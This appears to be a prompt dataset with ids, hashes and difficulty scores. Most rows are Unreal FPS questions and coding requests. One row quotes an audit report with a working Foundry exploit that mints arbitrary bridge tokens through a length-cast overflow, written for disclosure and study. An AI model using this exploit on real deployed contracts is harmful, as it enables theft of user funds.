row_id
int64
0
48.4k
init_message
stringlengths
1
342k
conversation_hash
stringlengths
32
32
scores
dict
36,442
how can I display fps in unreal engine games through their config file?
77dccd27225984ecd36621d40fa0d27a
{ "intermediate": 0.3944871425628662, "beginner": 0.3496479094028473, "expert": 0.2558649182319641 }
36,443
how can I display fps in unreal engine games through their config file?
32c9b9fdeedabde1ce34b37e596f1cd3
{ "intermediate": 0.3944871425628662, "beginner": 0.3496479094028473, "expert": 0.2558649182319641 }
36,444
how can I display fps in unreal engine games through their config file?
442ed86c0263b253aebb7f59d578b3cf
{ "intermediate": 0.3944871425628662, "beginner": 0.3496479094028473, "expert": 0.2558649182319641 }
36,445
how can I display fps in unreal engine games through their config file?
5719242f5b5427398400fab4c651b801
{ "intermediate": 0.3944871425628662, "beginner": 0.3496479094028473, "expert": 0.2558649182319641 }
36,446
how can I display fps in unreal engine games through their config file?
8b8c9672300f2133354f038d8c5ab2e0
{ "intermediate": 0.3944871425628662, "beginner": 0.3496479094028473, "expert": 0.2558649182319641 }
36,447
how can I display fps in unreal engine 5 games through their config file?
b22faa026148d5c8a0dcd057566fdaf6
{ "intermediate": 0.41806352138519287, "beginner": 0.3151244819164276, "expert": 0.2668120861053467 }
36,448
how can I display fps in unreal engine 5 games through their config file?
fd6bd9ef1859abcc31e1d4ba315b8063
{ "intermediate": 0.41806352138519287, "beginner": 0.3151244819164276, "expert": 0.2668120861053467 }
36,449
how can I display fps in unreal engine 5 games through their config file?
332a69b5fbb02def0c62aa8d328367ff
{ "intermediate": 0.41806352138519287, "beginner": 0.3151244819164276, "expert": 0.2668120861053467 }
36,450
how can I display fps in unreal engine 5 games through their config file?
eee1903e64cf474d718bd58a7970b8bc
{ "intermediate": 0.41806352138519287, "beginner": 0.3151244819164276, "expert": 0.2668120861053467 }
36,451
how can I display fps in unreal engine 5 games through their config file?
44de7a23c3e75ceef09f88cd2072c1f2
{ "intermediate": 0.41806352138519287, "beginner": 0.3151244819164276, "expert": 0.2668120861053467 }
36,452
I want you to create a script for Unity with the next features * It is a script called UnitGroupPlacer, the goal of this script is to move a group of units from one point to another of a nav mesh map using a formation like a soldier squad * As serialized fields the script has the properties of areaSize and numberofsoldiers * The soldiers that are nav mesh agents surrounds a commander in a square formation * Every time the commander moves, the soldiers try to maintain that formation around the comander * If C is the commander and S is soldier the formation will look like this: SSSS S S S S SSSS And C in the middle of everything *The class has a public method to tell it where to move the group *The script tries to maintain a formation with twelve soldiers startiong with those ones in the front line , but it also has a public method to add a new soldier and tell it where is his place
83bee1856d41984c29df95d1f0f64f1a
{ "intermediate": 0.3721371293067932, "beginner": 0.3991236984729767, "expert": 0.2287391722202301 }
36,453
what are useful steam launch options for unreal engine 5 games?
e0e16f768cddc930977dcd447610f446
{ "intermediate": 0.34712040424346924, "beginner": 0.28628697991371155, "expert": 0.3665926158428192 }
36,454
I’m getting an error “SystemError: more argument specifiers than keyword list entries (remaining format:‘p’)” When trying to create and initialize a class from python bindings with a certain number of arguments, even though the c++ code seems to have more than enough entries. Help me find the source of the issue. Here's the c++ code for the class: MutatorConfig.cpp
459608ff2c82b885056b643cff1924b9
{ "intermediate": 0.4585675299167633, "beginner": 0.4070107638835907, "expert": 0.13442166149616241 }
36,455
here is the correct vulnerability look like learn from it Lines of code https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/BranchBridgeAgent.sol#L275-L316 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L860-L1174 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgentExecutor.sol#L259-L299 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootBridgeAgent.sol#L404-L426 https://github.com/code-423n4/2023-05-maia/blob/54a45beb1428d85999da3f721f923cbf36ee3d35/src/ulysses-omnichain/RootPort.sol#L276-L284 Vulnerability details Impact Adversary can construct an attack vector that let’s him mint arbitrary amount of hToken’s on the Root Chain. Note End-to-end coded PoC is at the end of PoC section. Proof of Concept Background The attack will start on a Branch Chain where we have some underlying ERC20 token and a corresponding hToken that represents token within the omnichain system. The callOutSignedAndBridgeMultiple(...) function is supposed to bridge multiple tokens to a destination chain and also carry the msg.sender so that the tokens can be credited to msg.sender's VirtualAccount. The attacker will call the function with such DepositMultipleInputParams _dParams that take advantage of several weaknesses contained within the function (below is an overview of DepositMultipleInput struct & flow diagram of BranchBridgeAgent). struct DepositMultipleInput { //Deposit Info address[] hTokens; //Input Local hTokens Address. address[] tokens; //Input Native / underlying Token Address. uint256[] amounts; //Amount of Local hTokens deposited for interaction. uint256[] deposits; //Amount of native tokens deposited for interaction. uint24 toChain; //Destination chain for interaction. } Weakness #1 is that the supplied array of tokens address[] hTokens in _dParams is not checked if it exceeds 256, this causes an obvious issue where if hTokens length is > 256 the recorded length in packedData will be wrong since it's using an unsafe cast to uint8 and will overflow - uint8(_dParams.hTokens.length) . function callOutSignedAndBridgeMultiple( bytes calldata _params, DepositMultipleInput memory _dParams, uint128 _remoteExecutionGas ) external payable lock requiresFallbackGas { // code ... //Encode Data for cross-chain call. bytes memory packedData = abi.encodePacked( bytes1(0x06), msg.sender, uint8(_dParams.hTokens.length), depositNonce, _dParams.hTokens, _dParams.tokens, _dParams.amounts, _deposits, _dParams.toChain, _params, msg.value.toUint128(), _remoteExecutionGas ); // code ... _depositAndCallMultiple(...); } Weakness #2 arises in the subsequent internal function _depositAndCallMultiple(...), where the only check done on the supplied hTokens, tokens, amounts & deposits arrays is if the lengths match, however, there is no check if the length is the same as the one passed earlier to packedData. function _depositAndCallMultiple( address _depositor, bytes memory _data, address[] memory _hTokens, address[] memory _tokens, uint256[] memory _amounts, uint256[] memory _deposits, uint128 _gasToBridgeOut ) internal { //Validate Input if ( _hTokens.length != _tokens.length || _tokens.length != _amounts.length || _amounts.length != _deposits.length ) revert InvalidInput(); //Deposit and Store Info _createDepositMultiple(_depositor, _hTokens, _tokens, _amounts, _deposits, _gasToBridgeOut); //Perform Call _performCall(_data); } Lastly, weakness #3 is that bridgeOutMultiple(...), called within _createDepositMultiple(...), allows for supplying any address in the hTokens array since it only performs operations on these addresses if - _deposits[i] > 0 or _amounts[i] - _deposits[i] > 0 - in other words - if we set deposits[i] = 0 & amounts[i] = 0 we can supply ANY address in hTokens[i]. function bridgeOutMultiple( address _depositor, address[] memory _localAddresses, address[] memory _underlyingAddresses, uint256[] memory _amounts, uint256[] memory _deposits ) external virtual requiresBridgeAgent { for (uint256 i = 0; i < _localAddresses.length;) { if (_deposits[i] > 0) { _underlyingAddresses[i].safeTransferFrom( _depositor, address(this), _denormalizeDecimals(_deposits[i], ERC20(_underlyingAddresses[i]).decimals()) ); } if (_amounts[i] - _deposits[i] > 0) { _localAddresses[i].safeTransferFrom(_depositor, address(this), _amounts[i] - _deposits[i]); ERC20hTokenBranch(_localAddresses[i]).burn(_amounts[i] - _deposits[i]); } unchecked { i++; } } } Supplying the attack vector The attacker will construct such DepositMultipleInput _dParams where address[] hTokens will have a length of 257 where all entries, except hTokens[1], hTokens[2] & hTokens[3] , will contain the Branch address of the same hToken (note that in the examined functions above there is no restriction to supply the same hToken address multiple times). In a similar way address[] tokens will have length of 257, however, here all entries will contain the underlying token (it is crucial to include the address of the underlying token to bypass _normalizeDecimals). Next uint256[] amounts will be of length 257 where all entries will contain 0. Similarly uint256[] deposits will be of length 257 where all entries will contain 0. In such configuration the attacker is able to supply a malicious hToken address as per weakness #3. The crucial part now is that hTokens[1] will contain the address of the underlying token - this is needed to later bypass the params check on the RootChain. hTokens[2] & hTokens[3] will contain the attacker’s malicious payload address that when converted to bytes and then uint256 will represent the arbitrary amount of tokens that the attacker will mint (this conversion will happen on the RootChain). This is how the attack vector looks expressed in code. // hToken address, note the "h" in the var name address addr1 = avaxMockAssethToken; // underlying address address addr2 = address(avaxMockAssetToken); // 0x2FAF0800 when packed to bytes and then cast to uint256 = 800000000 // this amount will be minted on Root address malicious_address = address(0x2FAF0800); uint256 amount1 = 0; uint256 amount2 = 0; uint num = 257; address[] memory htokens = new address[](num); address[] memory tokens = new address[](num); uint256[] memory amounts = new uint256[](num); uint256[] memory deposits = new uint256[](num); for(uint i=0; i<num; i++) { htokens[i] = addr1; tokens[i] = addr2; amounts[i] = amount1; deposits[i] = amount2; } // address of the underlying token htokens[1] = addr2; // copy of entry containing the arbitrary number of tokens htokens[2] = malicious_address; // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root htokens[3] = malicious_address; uint24 toChain = rootChainId; // create input DepositMultipleInput memory input = DepositMultipleInput({ hTokens:htokens, tokens:tokens, amounts:amounts, deposits:deposits, toChain:toChain }); Essentially what happens now is that the attacker has packedData that contains 257 hTokens, tokens, amounts & deposits , however due to weakness #1 the recorded length is 1 and due to weakness #2 and #3 this construction of the Input will reach _peformCal(data) and the mismatch between the number of entries and the actual number of supplied entries will cause malicious behavior on the RootChain. bytes memory packedData = abi.encodePacked( bytes1(0x06), msg.sender, uint8(_dParams.hTokens.length), depositNonce, _dParams.hTokens, _dParams.tokens, _dParams.amounts, _deposits, _dParams.toChain, _params, msg.value.toUint128(), _remoteExecutionGas ); The attack vector is inline with the general encoding scheme displayed below, the important note is that Length will contain a value of 1 instead of 257 which will disrupt the decoding on the RootBranch. More details about the encoding can be found in IRootBridgeAgent.sol . +--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+ | Flag | Signer | Length | depositNonce | hTokens[0], [1] ... [256] | tokens[0] ... [256] | amounts[0] ... [256] | deposits[0] ... [256] | toChain | data | gas | +--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+ | 1 byte | 20 bytes | 1 byte | 4 bytes | 32 bytes * 257 | 32 bytes * 257 | 32 bytes * 257 | 32 bytes * 257 | 3 bytes | any | 32 bytes | +--------+----------+--------+--------------+---------------------------+---------------------+----------------------+-----------------------+---------+------+----------+ RootBranch receives the attack vector The entry point for a message on the Root Chain is anyExecute(bytes calldata data) in RootBridgeAgent.sol - this will be called by Multichain’s AnycallExecutor. The function will unpack and navigate the supplied flag 0x06 - corresponding to callOutSignedAndBridgeMultiple(...) that was invoked on the Branch Chain. Next executeSignedWithDepositMultiple(...)will be invoked residing in RootBridgeAgentExecutor.sol, which will subsequently call _bridgeInMultiple(...), however, the amount of data passed to _bridgeInMultiple(...) depends on the packed length of the hTokens array. function executeSignedWithDepositMultiple( address _account, address _router, bytes calldata _data, uint24 _fromChainId ) external onlyOwner returns (bool success, bytes memory result) { //Bridge In Assets DepositMultipleParams memory dParams = _bridgeInMultiple( _account, _data[ PARAMS_START_SIGNED: PARAMS_END_SIGNED_OFFSET + uint16(uint8(bytes1(_data[PARAMS_START_SIGNED]))) * PARAMS_TKN_SET_SIZE_MULTIPLE ], _fromChainId ); // more code ... If we examine closer the constants and check with the encoding scheme - PARAMS_START_SIGNED = 21 PARAMS_END_SIGNED_OFFSET = 29 PARAMS_TKN_SET_SIZE_MULTIPLE = 128, Here the intended behavior is that _data is sliced in such a way that it removes the flag bytes1(0x06) and the msg.sender address, hence we start at byte 21, we have 29 to account for the bytes4(nonce), bytes3(chainId) and bytes1(length) (total of 8 bytes, but remember that byte slicing is exclusive of the second byte index) + uint16(length) * 128 for every set of htoken token amount & deposit . What will happen in the attack case is that _data will be cut short since length will be 1 instead of 257 and _data will contain length, nonce, chainId and the first 4 entries of the constructed hTokens[] array. Now _bridgeInMultiple will unpack the _dParams where numOfAssets = 1, hence only 1 iteration, and will populate a set with in reality the first 4 entries of the supplied hTokens[] in the attack vector - hTokens[0] = hToken address, tokens[0] = token address, amounts[0] = malicious address payload cast to uint256, deposits[0] = malicious address payload cast to uint256. function _bridgeInMultiple(address _recipient, bytes calldata _dParams, uint24 _fromChain) internal returns (DepositMultipleParams memory dParams) { // Parse Parameters uint8 numOfAssets = uint8(bytes1(_dParams[0])); uint32 nonce = uint32(bytes4(_dParams[PARAMS_START:5])); uint24 toChain = uint24(bytes3(_dParams[_dParams.length - 3:_dParams.length])); address[] memory hTokens = new address[](numOfAssets); address[] memory tokens = new address[](numOfAssets); uint256[] memory amounts = new uint256[](numOfAssets); uint256[] memory deposits = new uint256[](numOfAssets); for (uint256 i = 0; i < uint256(uint8(numOfAssets));) { //Parse Params hTokens[i] = address( uint160( bytes20( bytes32( _dParams[ PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * i) + 12: PARAMS_TKN_START + (PARAMS_ENTRY_SIZE * (PARAMS_START + i)) ] ) ) ) ); tokens[i] = address( uint160( bytes20( _dParams[ PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(i + numOfAssets) + 12: PARAMS_TKN_START + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i + numOfAssets) ] ) ) ); amounts[i] = uint256( bytes32( _dParams[ PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)): PARAMS_TKN_START + PARAMS_AMT_OFFSET * uint16(numOfAssets) + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i) ] ) ); deposits[i] = uint256( bytes32( _dParams[ PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + (PARAMS_ENTRY_SIZE * uint16(i)): PARAMS_TKN_START + PARAMS_DEPOSIT_OFFSET * uint16(numOfAssets) + PARAMS_ENTRY_SIZE * uint16(PARAMS_START + i) ] ) ); unchecked { ++i; } } //Save Deposit Multiple Params dParams = DepositMultipleParams({ numberOfAssets: numOfAssets, depositNonce: nonce, hTokens: hTokens, tokens: tokens, amounts: amounts, deposits: deposits, toChain: toChain }); RootBridgeAgent(payable(msg.sender)).bridgeInMultiple(_recipient, dParams, _fromChain); } Subsequently bridgeInMultiple(...) is called in RootBridgeAgent.sol, where bridgeIn(...) is called for every set of hToken, token, amount & deposit - one iteration in the attack scenario. bridgeIn(...) now performs the critical checkParams from the CheckParamsLib library where if only 1 of 3 conditions is true we will have a revert. The first check is revert if _dParams.amount < _dParams.deposit - this is false since amount & deposit are equal to the uint256 cast of the bytes packing of the malicious address payload. The second check is: (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) Here it’s true amount > 0 , however, _dParams.hToken is the first entry hTokens[0] of the attack vector’s hTokens[] array, therefore, it is a valid address & isLocalToken(…) will return true and will be negated by ! which will make the statement false because of &&, therefore, it is bypassed. The third check is: (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) here it’s true deposit > 0 , however, _dParams.token is the second entry hTokens[1] of the attack vector’s hTokens[] array, therefore, it is a valid underlying address & isUnderlyingToken(…) will return true and will be negated by ! which will make the statement false because of &&, therefore, it is bypassed. Whole checkParams(…) function checkParams(address _localPortAddress, DepositParams memory _dParams, uint24 _fromChain) internal view returns (bool) { if ( (_dParams.amount < _dParams.deposit) //Deposit can't be greater than amount. || (_dParams.amount > 0 && !IPort(_localPortAddress).isLocalToken(_dParams.hToken, _fromChain)) //Check local exists. || (_dParams.deposit > 0 && !IPort(_localPortAddress).isUnderlyingToken(_dParams.token, _fromChain)) //Check underlying exists. ) { return false; } return true; } Now back to bridgeIn(...) in RootBridgeAgent we get the globalAddress for _dParams.hToken (again this is the valid hToken[0] address from Branch Chain) and bridgeToRoot(...) is called that resides in RootPort.sol. //Get global address address globalAddress = IPort(localPortAddress).getGlobalTokenFromLocal(_dParams.hToken, _fromChain); //Check if valid asset if (globalAddress == address(0)) revert InvalidInputParams(); //Move hTokens from Branch to Root + Mint Sufficient hTokens to match new port deposit IPort(localPortAddress).bridgeToRoot(_recipient, globalAddress, _dParams.amount, _dParams.deposit, _fromChain); bridgeToRoot(...) will check if the globalAddress is valid and it is since we got it from the valid hTokens[0] entry in the constructed attack. Then _amount - _deposit = 0 , therefore, no tokens will be transferred and finally the critical line if (_deposit > 0) mint(_recipient, _hToken, _deposit, _fromChainId) here _deposit is the malicious address payload that was packed to bytes and then unpacked and cast to uint256 & _hToken is the global address that we got from hTokens[0] back in the unpacking, therefore whatever the value of the uint256 representation of the malicious address is will be minted to the attacker. Coded PoC Copy the two functions testArbitraryMint & _prepareAttackVector in test/ulysses-omnichain/RootTest.t.sol and place them in the RootTest contract after the setup. Execute with forge test --match-test testArbitraryMint -vv Result - 800000000 minted tokens for free in attacker’s Virtual Account function testArbitraryMint() public { // setup function used by developers to add local/global tokens in the system testAddLocalTokenArbitrum(); // set attacker address & mint 1 ether to cover gas cost address attacker = address(0xAAAA); hevm.deal(attacker, 1 ether); // get avaxMockAssetHtoken global address that's on the Root address globalAddress = rootPort.getGlobalTokenFromLocal(avaxMockAssethToken, avaxChainId); // prepare attack vector bytes memory params = ""; DepositMultipleInput memory dParams = _prepareAttackVector(); uint128 remoteExecutionGas = 200_000_000_0; console2.log("------------------"); console2.log("------------------"); console2.log("ARBITRARY MINT LOG"); console2.log("Attacker address", attacker); console2.log("Avax h token address",avaxMockAssethToken); console2.log("Avax underlying address", address(avaxMockAssetToken)); console2.log("Attacker h token balance", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker)); console2.log("Attacker underlying balance", avaxMockAssetToken.balanceOf(attacker)); // execute attack hevm.prank(attacker); avaxMulticallBridgeAgent.callOutSignedAndBridgeMultiple{value: 0.00005 ether}(params, dParams, remoteExecutionGas); // get attacker's virtual account address address vaccount = address(rootPort.getUserAccount(attacker)); console2.log("Attacker h token balance avax", ERC20hTokenBranch(avaxMockAssethToken).balanceOf(attacker)); console2.log("Attacker underlying balance avax", avaxMockAssetToken.balanceOf(attacker)); console2.log("Attacker h token balance root", ERC20hTokenRoot(globalAddress).balanceOf(vaccount)); console2.log("ARBITRARY MINT LOG END"); console2.log("------------------"); } function _prepareAttackVector() internal view returns(DepositMultipleInput memory) { // hToken address address addr1 = avaxMockAssethToken; // underlying address address addr2 = address(avaxMockAssetToken); // 0x2FAF0800 when encoded to bytes and then cast to uint256 = 800000000 address malicious_address = address(0x2FAF0800); uint256 amount1 = 0; uint256 amount2 = 0; uint num = 257; address[] memory htokens = new address[](num); address[] memory tokens = new address[](num); uint256[] memory amounts = new uint256[](num); uint256[] memory deposits = new uint256[](num); for(uint i=0; i<num; i++) { htokens[i] = addr1; tokens[i] = addr2; amounts[i] = amount1; deposits[i] = amount2; } // address of the underlying token htokens[1] = addr2; // copy of entry containing the arbitrary number of tokens htokens[2] = malicious_address; // entry containing the arbitrary number of tokens -> this one will be actually fed to mint on Root htokens[3] = malicious_address; uint24 toChain = rootChainId; // create input DepositMultipleInput memory input = DepositMultipleInput({ hTokens:htokens, tokens:tokens, amounts:amounts, deposits:deposits, toChain:toChain }); return input; } Tools Used Manual inspection Recommendation Enforce more strict checks around input param validation on bridging multiple tokens. Assessed type Invalid Validation
456c4272df1fc7611bbe8e4377b3b249
{ "intermediate": 0.38312476873397827, "beginner": 0.4406297504901886, "expert": 0.17624548077583313 }
36,456
Review and scan line by line the code, looking for any trace of vulnerabilities and find the correct vulnerability that is exist in this contract with depth understanding in solidity and in finding vulnerability and then confirm the vulnerability with evidence and give the vulnerable part that cause the bug with explaining and then give high-quality bug report // SPDX-License-Identifier: MIT pragma solidity 0.8.19; import {Ownable2Step} from "openzeppelin-contracts/contracts/access/Ownable2Step.sol"; import {ERC4626} from "solmate/mixins/ERC4626.sol"; import {ERC20} from "solmate/tokens/ERC20.sol"; import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol"; import {SafeTransferLib} from "solmate/utils/SafeTransferLib.sol"; import {Errors} from "./libraries/Errors.sol"; import {IPirexEth} from "./interfaces/IPirexEth.sol"; /** * @title AutoPxEth * @notice Autocompounding vault for (staked) pxETH, adapted from pxCVX vault system * @dev This contract enables autocompounding for pxETH assets and includes various fee mechanisms. * @author redactedcartel.finance */ contract AutoPxEth is Ownable2Step, ERC4626 { /** * @dev Library: SafeTransferLib - Provides safe transfer functions for ERC20 tokens. */ using SafeTransferLib for ERC20; /** * @dev Library: FixedPointMathLib - Provides fixed-point arithmetic for uint256. */ using FixedPointMathLib for uint256; // Constants /** * @dev Maximum withdrawal penalty percentage. */ uint256 private constant MAX_WITHDRAWAL_PENALTY = 50_000; /** * @dev Maximum platform fee percentage. */ uint256 private constant MAX_PLATFORM_FEE = 200_000; /** * @dev Fee denominator for precise fee calculations. */ uint256 private constant FEE_DENOMINATOR = 1_000_000; /** * @dev Duration of the rewards period. */ uint256 private constant REWARDS_DURATION = 7 days; // State variables for tracking rewards and actively staked assets /** * @notice Reference to the PirexEth contract. */ IPirexEth public pirexEth; /** * @notice Timestamp when the current rewards period will end. */ uint256 public periodFinish; /** * @notice Rate at which rewards are distributed per second. */ uint256 public rewardRate; /** * @notice Timestamp of the last update to the reward variables. */ uint256 public lastUpdateTime; /** * @notice Accumulated reward per token stored. */ uint256 public rewardPerTokenStored; /** * @notice Last calculated reward per token paid to stakers. */ uint256 public rewardPerTokenPaid; /** * @notice Total rewards available for distribution. */ uint256 public rewards; /** * @notice Total assets actively staked in the vault. */ uint256 public totalStaked; // State variables related to fees /** * @notice Withdrawal penalty percentage. */ uint256 public withdrawalPenalty = 30_000; /** * @notice Platform fee percentage. */ uint256 public platformFee = 100_000; /** * @notice Address of the platform that receives fees. */ address public platform; // Events /** * @notice Emitted when rewards are harvested and staked. * @dev This event is emitted when a user triggers the harvest function. * @param caller address indexed Address that triggered the harvest. * @param value uint256 Amount of rewards harvested. */ event Harvest(address indexed caller, uint256 value); /** * @notice Emitted when the withdrawal penalty is updated. * @dev This event is emitted when the withdrawal penalty is modified. * @param penalty uint256 New withdrawal penalty percentage. */ event WithdrawalPenaltyUpdated(uint256 penalty); /** * @notice Emitted when the platform fee is updated. * @dev This event is emitted when the platform fee is modified. * @param fee uint256 New platform fee percentage. */ event PlatformFeeUpdated(uint256 fee); /** * @notice Emitted when the platform address is updated. * @dev This event is emitted when the platform address is modified. * @param _platform address New platform address. */ event PlatformUpdated(address _platform); /** * @notice Emitted when new rewards are added to the vault. * @dev This event is emitted when new rewards are added to the vault. * @param reward uint256 Amount of rewards added. */ event RewardAdded(uint256 reward); /** * @notice Emitted when the PirexEth contract address is set. * @dev This event is emitted when the PirexEth contract address is set. * @param _pirexEth address New PirexEth contract address. */ event SetPirexEth(address _pirexEth); // Modifiers /** * @dev Update reward states modifier * @param updateEarned bool Whether to update earned amount so far */ modifier updateReward(bool updateEarned) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (updateEarned) { rewards = earned(); rewardPerTokenPaid = rewardPerTokenStored; } _; } /** * @dev Contract constructor * @param _asset address Asset contract address * @param _platform address Platform address */ constructor( address _asset, address _platform ) ERC4626(ERC20(_asset), "Autocompounding Pirex Ether", "apxETH") { if (_platform == address(0)) revert Errors.ZeroAddress(); platform = _platform; } /*////////////////////////////////////////////////////////////// RESTRICTED FUNCTIONS //////////////////////////////////////////////////////////////*/ /** * @notice Set the PirexEth contract address * @dev Function access restricted to only owner * @param _pirexEth address PirexEth contract address */ function setPirexEth(address _pirexEth) external onlyOwner { if (_pirexEth == address(0)) revert Errors.ZeroAddress(); emit SetPirexEth(_pirexEth); pirexEth = IPirexEth(_pirexEth); } /** * @notice Set the withdrawal penalty * @dev Function access restricted to only owner * @param penalty uint256 Withdrawal penalty */ function setWithdrawalPenalty(uint256 penalty) external onlyOwner { if (penalty > MAX_WITHDRAWAL_PENALTY) revert Errors.ExceedsMax(); withdrawalPenalty = penalty; emit WithdrawalPenaltyUpdated(penalty); } /** * @notice Set the platform fee * @dev Function access restricted to only owner * @param fee uint256 Platform fee */ function setPlatformFee(uint256 fee) external onlyOwner { if (fee > MAX_PLATFORM_FEE) revert Errors.ExceedsMax(); platformFee = fee; emit PlatformFeeUpdated(fee); } /** * @notice Set the platform * @dev Function access restricted to only owner * @param _platform address Platform */ function setPlatform(address _platform) external onlyOwner { if (_platform == address(0)) revert Errors.ZeroAddress(); platform = _platform; emit PlatformUpdated(_platform); } /** * @notice Notify and sync the newly added rewards to be streamed over time * @dev Rewards are streamed following the duration set in REWARDS_DURATION */ function notifyRewardAmount() external updateReward(false) { if (msg.sender != address(pirexEth)) revert Errors.NotPirexEth(); // Rewards transferred directly to this contract are not added to totalStaked // To get the rewards w/o relying on a potentially incorrect passed in arg, // we can use the difference between the asset balance and totalStaked. // Additionally, to avoid re-distributing rewards, deduct the output of `earned` uint256 rewardBalance = asset.balanceOf(address(this)) - totalStaked - earned(); rewardRate = rewardBalance / REWARDS_DURATION; if (rewardRate == 0) revert Errors.NoRewards(); lastUpdateTime = block.timestamp; periodFinish = block.timestamp + REWARDS_DURATION; emit RewardAdded(rewardBalance); } /*////////////////////////////////////////////////////////////// VIEWS //////////////////////////////////////////////////////////////*/ /** * @inheritdoc ERC4626 * @notice Get the amount of available pxETH in the contract * @dev Rewards are streamed for the duration set in REWARDS_DURATION */ function totalAssets() public view override returns (uint256) { // Based on the current totalStaked and available rewards uint256 _totalStaked = totalStaked; uint256 _rewards = ((_totalStaked * (rewardPerToken() - rewardPerTokenPaid)) / 1e18) + rewards; // Deduct the exact reward amount staked (after fees are deducted when calling `harvest`) return _totalStaked + ( _rewards == 0 ? 0 : (_rewards - ((_rewards * platformFee) / FEE_DENOMINATOR)) ); } /** * @notice Returns the last effective timestamp of the current reward period * @return uint256 Timestamp */ function lastTimeRewardApplicable() public view returns (uint256) { return block.timestamp < periodFinish ? block.timestamp : periodFinish; } /** * @notice Returns the amount of rewards per staked token/asset * @return uint256 Rewards amount */ function rewardPerToken() public view returns (uint256) { if (totalStaked == 0) { return rewardPerTokenStored; } return rewardPerTokenStored + ((((lastTimeRewardApplicable() - lastUpdateTime) * rewardRate) * 1e18) / totalStaked); } /** * @notice Returns the earned rewards amount so far * @return uint256 Rewards amount */ function earned() public view returns (uint256) { return ((totalStaked * (rewardPerToken() - rewardPerTokenPaid)) / 1e18) + rewards; } /** * @notice Return the amount of assets per 1 (1e18) share * @return uint256 Assets */ function assetsPerShare() external view returns (uint256) { return previewRedeem(1e18); } /*////////////////////////////////////////////////////////////// INTERNAL FUNCTIONS //////////////////////////////////////////////////////////////*/ /** * @dev Internal method to keep track of the total amount of staked token/asset on deposit/mint */ function _stake(uint256 amount) internal updateReward(true) { totalStaked += amount; } /** * @dev Internal method to keep track of the total amount of staked token/asset on withdrawal/redeem */ function _withdraw(uint256 amount) internal updateReward(true) { totalStaked -= amount; } /*////////////////////////////////////////////////////////////// ERC4626 OVERRIDES //////////////////////////////////////////////////////////////*/ /** * @inheritdoc ERC4626 * @dev Deduct the specified amount of assets from totalStaked to prepare for transfer to the user * @param assets uint256 Assets */ function beforeWithdraw(uint256 assets, uint256) internal override { // Perform harvest to make sure that totalStaked is always equal or larger than assets to be withdrawn if (assets > totalStaked) harvest(); _withdraw(assets); } /** * @inheritdoc ERC4626 * @dev Include the new assets in totalStaked so that rewards can be properly distributed * @param assets uint256 Assets */ function afterDeposit(uint256 assets, uint256) internal override { _stake(assets); } /** * @inheritdoc ERC4626 * @dev Preview the amount of assets a user would receive from redeeming shares */ function previewRedeem( uint256 shares ) public view override returns (uint256) { // Calculate assets based on a user's % ownership of vault shares uint256 assets = convertToAssets(shares); uint256 _totalSupply = totalSupply; // Calculate a penalty - zero if user is the last to withdraw. uint256 penalty = (_totalSupply == 0 || _totalSupply - shares == 0) ? 0 : assets.mulDivUp(withdrawalPenalty, FEE_DENOMINATOR); // Round up the penalty in favour of the protocol. // Redeemable amount is the post-penalty amount return assets - penalty; } /** * @inheritdoc ERC4626 * @notice Preview the amount of shares a user would need to redeem the specified asset amount * @dev This modified version takes into consideration the withdrawal fee */ function previewWithdraw( uint256 assets ) public view override returns (uint256) { // Calculate shares based on the specified assets' proportion of the pool uint256 shares = convertToShares(assets); // Save 1 SLOAD uint256 _totalSupply = totalSupply; // Factor in additional shares to fulfill withdrawal if user is not the last to withdraw return (_totalSupply == 0 || _totalSupply - shares == 0) ? shares : (shares * FEE_DENOMINATOR) / (FEE_DENOMINATOR - withdrawalPenalty); } /*////////////////////////////////////////////////////////////// MUTATIVE FUNCTIONS //////////////////////////////////////////////////////////////*/ /** * @notice Harvest and stake available rewards after distributing fees to the platform * @dev This function claims and stakes the available rewards, deducting a fee for the platform. */ function harvest() public updateReward(true) { uint256 _rewards = rewards; if (_rewards != 0) { rewards = 0; // Fee for platform uint256 feeAmount = (_rewards * platformFee) / FEE_DENOMINATOR; // Deduct fee from reward balance _rewards -= feeAmount; // Claimed rewards should be in pxETH asset.safeTransfer(platform, feeAmount); // Stake rewards sans fee _stake(_rewards); emit Harvest(msg.sender, _rewards); } } /** * @notice Override transfer logic to trigger direct `initiateRedemption`. * @dev This function overrides the standard transfer logic to initiate redemption when transferring to the PirexEth contract. * @param to address Transfer destination * @param amount uint256 Amount * @return bool */ function transfer( address to, uint256 amount ) public override returns (bool) { super.transfer(to, amount); if (to == address(pirexEth)) { pirexEth.initiateRedemption(amount, msg.sender, false); } return true; } /** * @notice Override transferFrom logic to trigger direct `initiateRedemption`. * @dev This function overrides the standard transferFrom logic to initiate redemption when transferring from the PirexEth contract. * @param from Address of the transfer origin. * @param to Address of the transfer destination. * @param amount Amount of tokens to transfer. * @return A boolean indicating the success of the transfer. */ function transferFrom( address from, address to, uint256 amount ) public override returns (bool) { super.transferFrom(from, to, amount); if (to == address(pirexEth)) { pirexEth.initiateRedemption(amount, from, false); } return true; } }
5b878a60515d3941bf6d71f6500e4211
